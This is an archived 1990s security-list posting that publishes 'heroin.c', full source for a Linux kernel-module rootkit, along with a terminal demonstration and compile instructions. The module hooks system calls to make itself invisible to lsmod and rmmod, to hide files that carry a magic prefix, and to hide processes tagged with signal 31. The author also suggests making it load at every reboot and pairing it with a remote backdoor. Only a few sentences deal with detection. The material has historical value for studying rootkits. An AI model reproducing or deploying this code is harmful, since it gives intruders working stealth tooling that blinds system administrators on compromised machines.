home *** CD-ROM | disk | FTP | other *** search
-
- [ http://www.rootshell.com/ ]
-
- As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
- to patch any system call under Linux from within a module. This means that
- once your system has been compromised at the root level, it is possible for
- an intruder to hide completely _without_ modifying any binaries or leaving
- any visible backdoors behind. Because such tools are likely to be in use
- within the hacker community already, I decided to publish a piece of code to
- demonstrate the potentials of a malicious module.
-
- The following piece of code is a fully working Linux module for 2.1 kernels
- that patches the getdents(), kill(), read() and query_module() calls. Once
- loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
- modifying the output of every query_module() call and every read() call
- accessing /proc/modules. Apparently rmmod also calls query_module() to list
- all modules before attempting to remove the specified module, and will
- therefore claim that the module does not exist even if you know its name. The
- output of any getdents() call is modified to hide any files or directories
- starting with a given string, leaving them accessible only if you know their
- exact names. It also hides any directories in /proc matching pids that have a
- specified flag set in its internal task structure, allowing a user with root
- access to hide any process (and its children, since the task structure is
- duplicated when the process does a fork()). To set this flag, simply send the
- process a signal 31 which is caught and handled by the patched kill() call.
-
- To demonstrate the effects...
-
- [root@image:~/test]# ls -l
- total 3
- -rw------- 1 root root 2832 Oct 8 16:52 heroin.o
- [root@image:~/test]# insmod heroin.o
- [root@image:~/test]# lsmod | grep heroin
- [root@image:~/test]# grep heroin /proc/modules
- [root@image:~/test]# rmmod heroin
- rmmod: module heroin not loaded
- [root@image:~/test]# ls -l
- total 0
- [root@image:~/test]# echo "I'm invisible" > heroin_test
- [root@image:~/test]# ls -l
- total 0
- [root@image:~/test]# cat heroin_test
- I'm invisible
- [root@image:~/test]# ps -aux | grep gpm
- root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
- [root@image:~/test]# kill -31 223
- [root@image:~/test]# ps -aux | grep gpm
- [root@image:~/test]# ps -aux 223
- USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
- root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
- [root@image:~/test]# ls -l /proc | grep 223
- [root@image:~/test]# ls -l /proc/223
- total 0
- -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
- lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
- -r-------- 1 root root 0 Oct 8 16:54 environ
- lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
- dr-x------ 1 root root 0 Oct 8 16:54 fd
- pr--r--r-- 1 root root 0 Oct 8 16:54 maps
- -rw------- 1 root root 0 Oct 8 16:54 mem
- lrwx------ 1 root root 0 Oct 8 16:54 root -> /
- -r--r--r-- 1 root root 0 Oct 8 16:53 stat
- -r--r--r-- 1 root root 0 Oct 8 16:54 statm
- -r--r--r-- 1 root root 0 Oct 8 16:54 status
- [root@image:~/test]#
-
- The implications should be obvious. Once a compromise has taken place,
- nothing can be trusted, the operating system included. A module such as this
- could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
- after every reboot, or put in place of a commonly used module and in turn
- have it load the required module for an added level of protection. (Thanks
- Sean :) Combined with a reasonably obscure remote backdoor it could remain
- undetected for long periods of time unless the system administrator knows
- what to look for. It could even hide the packets going to and from this
- backdoor from the kernel itself to prevent a local packet sniffer from seeing
- them.
-
- So how can it be detected? In this case, since the number of processes is
- limited, one could try to open every possible process directory in /proc and
- look for the ones that do not show up otherwise. Using readdir() instead of
- getdents() will not work, since it appears to be just a wrapper for
- getdents(). In short, trying to locate something like this without knowing
- exactly what to look for is rather futile if done in userspace...
-
- Be afraid. Be very afraid. ;)
-
- .../ru
-
- -----
-
- /*
- * heroin.c
- *
- * Runar Jensen <zarq@opaque.org>
- *
- * This Linux kernel module patches the getdents(), kill(), read()
- * and query_module() system calls to demonstrate the potential
- * dangers of the way modules have full access to the entire kernel.
- *
- * Once loaded, the module becomes invisible and can not be removed
- * with rmmod. Any files or directories starting with the string
- * defined by MAGIC_PREFIX appear to disappear, and sending a signal
- * 31 to any process as root effectively hides it and all its future
- * children.
- *
- * This code should compile cleanly and work with most (if not all)
- * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
- * It will not compile as is under 2.0.30, since 2.0.30 lacks the
- * query_module() function.
- *
- * Compile with:
- * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
- */
-
- #include <linux/fs.h>
- #include <linux/module.h>
- #include <linux/modversions.h>
- #include <linux/malloc.h>
- #include <linux/unistd.h>
- #include <sys/syscall.h>
-
- #include <linux/dirent.h>
- #include <linux/proc_fs.h>
- #include <stdlib.h>
-
- #define MAGIC_PREFIX "heroin"
-
- #define PF_INVISIBLE 0x10000000
- #define SIGINVISI 31
-
- int errno;
-
- static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
- static inline _syscall2(int, kill, pid_t, pid, int, sig);
- static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
- static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);
-
- extern void *sys_call_table[];
-
- int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
- int (*original_kill)(pid_t, int);
- int (*original_read)(int, void *, size_t);
- int (*original_query_module)(const char *, int, void *, size_t, size_t *);
-
- int myatoi(char *str)
- {
- int res = 0;
- int mul = 1;
- char *ptr;
-
- for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
- if(*ptr < '0' || *ptr > '9')
- return(-1);
- res += (*ptr - '0') * mul;
- mul *= 10;
- }
- return(res);
- }
-
- void mybcopy(char *src, char *dst, unsigned int num)
- {
- while(num--)
- *(dst++) = *(src++);
- }
-
- int mystrcmp(char *str1, char *str2)
- {
- while(*str1 && *str2)
- if(*(str1++) != *(str2++))
- return(-1);
- return(0);
- }
-
- struct task_struct *find_task(pid_t pid)
- {
- struct task_struct *task = current;
-
- do {
- if(task->pid == pid)
- return(task);
-
- task = task->next_task;
-
- } while(task != current);
-
- return(NULL);
- }
-
- int is_invisible(pid_t pid)
- {
- struct task_struct *task;
-
- if((task = find_task(pid)) == NULL)
- return(0);
-
- if(task->flags & PF_INVISIBLE)
- return(1);
-
- return(0);
- }
-
- int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
- {
- int res;
- int proc = 0;
- struct inode *dinode;
- char *ptr = (char *)dirp;
- struct dirent *curr;
- struct dirent *prev = NULL;
-
- res = (*original_getdents)(fd, dirp, count);
-
- if(!res)
- return(res);
-
- if(res == -1)
- return(-errno);
-
- #ifdef __LINUX_DCACHE_H
- dinode = current->files->fd[fd]->f_dentry->d_inode;
- #else
- dinode = current->files->fd[fd]->f_inode;
- #endif
-
- if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
- proc = 1;
-
- while(ptr < (char *)dirp + res) {
- curr = (struct dirent *)ptr;
-
- if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
- (proc && is_invisible(myatoi(curr->d_name)))) {
-
- if(curr == dirp) {
- res -= curr->d_reclen;
- mybcopy(ptr + curr->d_reclen, ptr, res);
- continue;
- }
- else
- prev->d_reclen += curr->d_reclen;
- }
- else
- prev = curr;
-
- ptr += curr->d_reclen;
- }
-
- return(res);
- }
-
- int hacked_kill(pid_t pid, int sig)
- {
- int res;
- struct task_struct *task = current;
-
- if(sig != SIGINVISI) {
- res = (*original_kill)(pid, sig);
-
- if(res == -1)
- return(-errno);
-
- return(res);
- }
-
- if((task = find_task(pid)) == NULL)
- return(-ESRCH);
-
- if(current->uid && current->euid)
- return(-EPERM);
-
- task->flags |= PF_INVISIBLE;
-
- return(0);
- }
-
- int hacked_read(int fd, char *buf, size_t count)
- {
- int res;
- char *ptr, *match;
- struct inode *dinode;
-
- res = (*original_read)(fd, buf, count);
-
- if(res == -1)
- return(-errno);
-
- #ifdef __LINUX_DCACHE_H
- dinode = current->files->fd[fd]->f_dentry->d_inode;
- #else
- dinode = current->files->fd[fd]->f_inode;
- #endif
-
- if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
- return(res);
-
- ptr = buf;
-
- while(ptr < buf + res) {
- if(!mystrcmp(MAGIC_PREFIX, ptr)) {
- match = ptr;
- while(*ptr && *ptr != '\n')
- ptr++;
- ptr++;
- mybcopy(ptr, match, (buf + res) - ptr);
- res = res - (ptr - match);
- return(res);
- }
- while(*ptr && *ptr != '\n')
- ptr++;
- ptr++;
- }
-
- return(res);
- }
-
- int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
- {
- int res;
- int cnt;
- char *ptr, *match;
-
- res = (*original_query_module)(name, which, buf, bufsize, ret);
-
- if(res == -1)
- return(-errno);
-
- if(which != QM_MODULES)
- return(res);
-
- ptr = buf;
-
- for(cnt = 0; cnt < *ret; cnt++) {
- if(!mystrcmp(MAGIC_PREFIX, ptr)) {
- match = ptr;
- while(*ptr)
- ptr++;
- ptr++;
- mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
- (*ret)--;
- return(res);
- }
- while(*ptr)
- ptr++;
- ptr++;
- }
-
- return(res);
- }
-
- int init_module(void)
- {
- original_getdents = sys_call_table[SYS_getdents];
- sys_call_table[SYS_getdents] = hacked_getdents;
-
- original_kill = sys_call_table[SYS_kill];
- sys_call_table[SYS_kill] = hacked_kill;
-
- original_read = sys_call_table[SYS_read];
- sys_call_table[SYS_read] = hacked_read;
-
- original_query_module = sys_call_table[SYS_query_module];
- sys_call_table[SYS_query_module] = hacked_query_module;
-
- return(0);
- }
-
- void cleanup_module(void)
- {
- sys_call_table[SYS_getdents] = original_getdents;
- sys_call_table[SYS_kill] = original_kill;
- sys_call_table[SYS_read] = original_read;
- sys_call_table[SYS_query_module] = original_query_module;
- }
-
- -----
-
- -----
- Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com
- Network Administrator | or (800) 264-7440 | or zarq@opaque.org
- Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com
- FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]
-
-